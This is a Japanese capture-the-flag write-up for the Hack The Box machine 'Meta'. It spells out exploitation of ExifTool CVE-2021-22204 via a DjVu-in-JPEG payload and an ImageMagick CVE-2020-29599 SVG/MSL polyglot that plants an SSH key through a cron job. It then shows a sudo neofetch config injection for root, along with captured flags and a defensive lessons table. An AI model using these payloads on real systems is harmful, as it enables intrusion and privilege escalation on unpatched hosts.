Hack The BoxのWriteup(Meta)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Meta — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、80はartcorp.htbへリダイレクト
wfuzz Hostヘッダ
dev01.artcorp.htb 発見
ExifTool DjVu RCE
CVE-2021-22204、/metaview/
mogrify SVG/MSL注入
CVE-2020-29599、cronハイジャック
thomas SSH
user.txt ✓
sudo neofetch ""
リテラル2文字クォートの罠
GTFOBins config注入
XDG_CONFIG_HOME env_keep
root.txt ✓

nmap バージョン・スクリプトスキャン

BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.51.81
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
|_http-server-header: Apache
Service Info: OS: Linux
ℹ️
ポート80は artcorp.htb への301リダイレクトのみ。この時点でSSHホストキー指紋を 確認すると、公開されている0xdf氏のwriteup(元IP 10.10.11.140)と完全に一致しており、 このHTBマシンは静的なイメージ(埋め込み秘密情報が固定)であることが分かる。
PHASE 2

vhost発見 & MetaViewアプリ調査

/etc/hosts登録 & artcorp.htb確認

BASH
echo "10.129.51.81 artcorp.htb dev01.artcorp.htb" >> /etc/hosts
curl -s http://artcorp.htb/ | head -5
RESULT
<!DOCTYPE html>
<html lang="en">
  ...ArtCorp のグラフィックソフト会社紹介ページ(静的サイト)...

wfuzz による Host ヘッダ vhost ファジング

BASH
wfuzz -u http://10.129.51.81 -H "Host: FUZZ.artcorp.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 0
RESULT
ID           Response   Lines    Word     Chars       Payload
===================================================================
000001492:   200        9 L      24 W     247 Ch      "dev01"
dev01.artcorp.htb を発見。「applications in development」ページから MetaView(/metaview/)というアプリへのリンクがある。

MetaView アプリの確認

BASH
curl -s http://dev01.artcorp.htb/metaview/index.php
RESULT
<h2>MetaView</h2>
<p>Upload your image to display related metadata.</p>
<form action="index.php" method="post" enctype="multipart/form-data">
  <input type="file" name="imageUpload" ...>
  <button type="submit" name="submit">Upload</button>
</form>
ℹ️
アップロードされた画像を ExifTool でメタデータ表示するだけのシンプルな PHP アプリ (ExifToolWrapper.php)。フォームフィールド名は imageUpload / submit
PHASE 3

CVE-2021-22204 (ExifTool DjVu) → RCE (www-data)

依存ツールの準備

BASH
apt-get install -y djvulibre-bin   # djvumake / bzz / csepdjvu
searchsploit -m linux/local/50911.py   # CVE-2021-22204 PoC (UNICORD)
ℹ️
脆弱性: DjVu ファイルの ANT チャンクに埋め込まれた Perl 文字列展開 \c${...} が ExifTool のメタデータ解析時に無条件で評価される (Image::ExifTool::DjVu.pm のパース処理そのものに存在する欠陥)。

DjVu ペイロードを仕込んだ JPEG の作成

BASH
# payload: (metadata "\c${system('<cmd>')};")
echo -n '(metadata "\c${system('"'"'id'"'"')};")' > payload
bzz payload payload.bzz
djvumake exploit.djvu INFO=1,1 BGjp=/dev/null ANTz=payload.bzz
exiftool -config exiftool.config "-HasselbladExif<=exploit.djvu" image.jpg \
  -overwrite_original_in_place -q
⚠️
system('cmd') は戻り値(終了コード)しか返さないため、コマンド出力そのものは HTTPレスポンスに載らない(blind RCE)。かつ cmd 自体に単一引用符が含まれると Perl の system('{cmd}') 文字列リテラルが壊れるため、実行したい内容は base64化して echo <b64>|base64 -d|bash の形にラップし、単一引用符を 一切含まない文字列だけを埋め込む必要がある。

アップロードして RCE を確認

BASH
# cmd = "id > /var/www/dev01.artcorp.htb/metaview/uploads/pentest_out.txt 2>&1"
curl -s -X POST http://dev01.artcorp.htb/metaview/index.php \
  -F "imageUpload=@image.jpg" -F "submit=Upload"
curl -s http://dev01.artcorp.htb/metaview/uploads/pentest_out.txt
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功! metaview/uploads/ が Web公開かつ www-data 書き込み可能な ことを利用し、コマンド出力をファイルへリダイレクトして HTTP GET で回収する (リバースシェル不要、以降の全コマンドもこの方式で実行)。
PHASE 4

CVE-2020-29599 (mogrify SVG/MSLポリグロット) → thomas → user.txt

cron ジョブの発見と convert_images ディレクトリの権限

NOTE
公開writeupの知見: /usr/local/bin/convert_images.sh が root cron で毎分 thomas(uid 1000)権限で実行される:
  cd /var/www/dev01.artcorp.htb/convert_images/ && mogrify -format png *.* 2>/dev/null
BASH
# RCE経由
ls -la /var/www/dev01.artcorp.htb/convert_images/
RESULT
drwxrwxr-x 2 root www-data 4096 convert_images/
ℹ️
www-data グループ書き込み可能。ここに ImageMagick の脆弱性を突くファイルを置けば、 次回 cron 実行時に thomas 権限のコードが実行される。

SVG/MSL ポリグロットの作成

BASH
# SSH公開鍵を生成
ssh-keygen -t ed25519 -f thomas_key -N ""
PUBKEY=$(cat thomas_key.pub)
PYTHON (mog-shell.svg 構造)
# authenticate属性のバックティック内でコマンド注入 (CVE-2020-29599)
# xlink:href="msl:mog-shell.svg" で自分自身を参照させるのがポイント
CMD = f"echo {PUBKEY} >> /home/thomas/.ssh/authorized_keys"
B64 = base64(CMD)

svg = f'''
<image authenticate='ff" `echo "{B64}" | base64 -d | bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height"/>
<resize geometry="400x400"/>
<write filename="test.png"/>
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:mog-shell.svg" height="100" width="100"/>
</svg>
</image>
'''
⚠️
ボックス既存の罠: このマシンの authorized_keys には元々 root@meta という別の鍵が1行存在する。>(上書き)ではなく >>(追記)を使わないと既存の鍵を壊してしまう。

配置してcron実行を待つ

BASH
# RCE経由でconvert_images/へ配置 (Phase3のRCE手法を再利用)
echo <svg_b64> | base64 -d > /var/www/dev01.artcorp.htb/convert_images/mog-shell.svg

# 約60秒待ってSSH確認
ssh -i thomas_key thomas@10.129.51.81 "id; cat user.txt"
RESULT
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)
58432f1ad863c8602fc0b4c2f6c314fb
user.txt — thomas
58432f1ad863c8602fc0b4c2f6c314fb
PHASE 5

権限昇格の下調べ — sudo -l

sudo権限確認

BASH
ssh -i thomas_key thomas@10.129.51.81 "sudo -l"
RESULT
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=..., env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"
🚨
env_keep+=XDG_CONFIG_HOME が設定されているため、sudo実行時もこの環境変数が 保持される。neofetchの設定ファイルパスをこの変数で操作できることが GTFOBins 攻撃の鍵。

重要な落とし穴の発見 — \”\” はリテラル2文字

BASH
# 空文字列引数を試す (失敗)
sudo -n /usr/bin/neofetch "" 2>&1
RESULT
sudo: a password is required
BASH
# リテラルなダブルクォート2文字を1つの引数として渡す (成功)
sudo -n /usr/bin/neofetch '""' 2>&1
RESULT
(neofetch が root として正常実行される — パスワード不要)
⚠️
実機検証で発見した罠: sudoers ファイルの /usr/bin/neofetch \"\" という 記法は、「引数無し」でも「空文字列引数」でもなく、リテラルな2文字のダブルクォート文字列 "" そのものを1個の引数として渡すことを要求している。空文字列を渡すと NOPASSWDルールに一致せず通常のパスワード認証にフォールバックしてしまう。
PHASE 6

GTFOBins neofetch config注入 → root.txt

neofetch config ファイルの場所

NOTE
neofetch は起動時に以下の優先順位で config ファイルを探し、bash スクリプトとして source する:
  1. --config で指定されたパス (今回のsudoルールでは指定不可)
  2. ${XDG_CONFIG_HOME}/neofetch/config.conf
  3. ${XDG_CONFIG_HOME}/neofetch/config
  4. 上記が無ければデフォルト設定を新規作成

env_keep+=XDG_CONFIG_HOME により、thomas が sudo 実行時に設定した XDG_CONFIG_HOME が
root権限のneofetchプロセスにもそのまま引き継がれる。

config へのコマンド注入 & 実行

BASH
ssh -i thomas_key thomas@10.129.51.81 \
  "mkdir -p ~/.config/neofetch && \
   echo 'cat /root/root.txt' > ~/.config/neofetch/config.conf && \
   XDG_CONFIG_HOME=\$HOME/.config sudo -n /usr/bin/neofetch '\"\"'"
RESULT
b5bb323caca37b2d4194381f332197a5
       _,met$$$$$gg.          root@meta
    ,g$$$$$$$$$$$$$$$P.       ---------
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64
 ...(neofetchのシステム情報バナーが続く)...
成功! neofetchはconfigファイルをbashスクリプトとしてsourceするため、 cat /root/root.txt の行がroot権限でそのまま実行され、通常のneofetchバナー出力の 直前にフラグが出力される。GTFOBinsの定番手法(exec /bin/shで対話シェルを奪う方式) と違い、コマンドを直接configに書くだけで非対話ワンショット実行できるのが実用上のポイント。
root.txt — root@meta
b5bb323caca37b2d4194381f332197a5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — thomas@meta
58432f1ad863c8602fc0b4c2f6c314fb
root.txt — root@meta
b5bb323caca37b2d4194381f332197a5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2021-22204 ExifTool 7.44-12.23 (DjVu パーサ) リモートコード実行 (www-data) Critical DjVu ANTチャンクのPerl文字列展開 \c${…} を悪用したJPEG偽装ファイルをMetaViewへアップロード
CVE-2020-29599 ImageMagick 7.0.10-36 (mogrify) コマンドインジェクション (thomasへの権限昇格) Critical SVG/MSLポリグロットのauthenticate属性バックティック注入。書込可能ディレクトリ上のcron(mogrify)をハイジャック
sudoers引数解釈の罠 /usr/bin/neofetch (sudoers設定) 意図しない権限昇格経路の実質的野放し High \”\” がリテラル2文字を要求する仕様上の落とし穴。env_keep+XDG_CONFIG_HOMEと組み合わせGTFOBinsでroot

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャン22/80、artcorp.htbへのリダイレクト
2vhost発見wfuzz Hostヘッダファジングdev01.artcorp.htb、/metaview/ アプリ発見
3ExifTool RCECVE-2021-22204 (DjVu偽装JPEG)www-data RCE (blind、uploads/経由で出力回収)
4mogrify注入CVE-2020-29599 (SVG/MSLポリグロット)user.txt(thomas SSH確立)
5権限調査sudo -l + 引数解釈の検証neofetch NOPASSWDルールの正しい呼び出し方を特定
6GTFOBinsneofetch config注入 + env_keeproot.txt

学んだ教訓 & 防御策

問題点防御策
ExifTool 7.44-12.23 に既知のDjVu RCE脆弱性が存在 ExifTool 12.24以降へ更新する。信頼できないユーザーがアップロードした画像をExifToolで直接処理しない、サンドボックス化する。
www-dataがcronの入力元ディレクトリ(convert_images/)へ書き込み可能 Webアプリの実行ユーザーとcronが処理する入力ディレクトリの書き込み権限を分離する。ImageMagickをpolicy.xmlでMSL/SVGコーダーを無効化するなど制限する。
ImageMagick 7.0.10-36 に既知のSVG/MSLポリグロットコマンドインジェクションが存在 ImageMagick 7.0.10-37以降へ更新する。/etc/ImageMagick-6/policy.xml でMSL/SVG/EPHEMERALコーダーを disable=”true” に設定する。
sudoersの \”\” 記法がリテラル文字列を要求する紛らわしい仕様 sudoersルールは可能な限りワイルドカードや引数無し(引数を許可しない)形にし、意図と実際の一致条件にズレが無いか visudo -c や実機でのテストで確認する。
env_keep+=XDG_CONFIG_HOME によりsudo実行時に環境変数が保持される sudoersのenv_keepは必要最小限に絞る。設定ファイルパスを外部から操作できる環境変数は特に慎重に扱う。
HackTheBox: Meta | 完全攻略レポート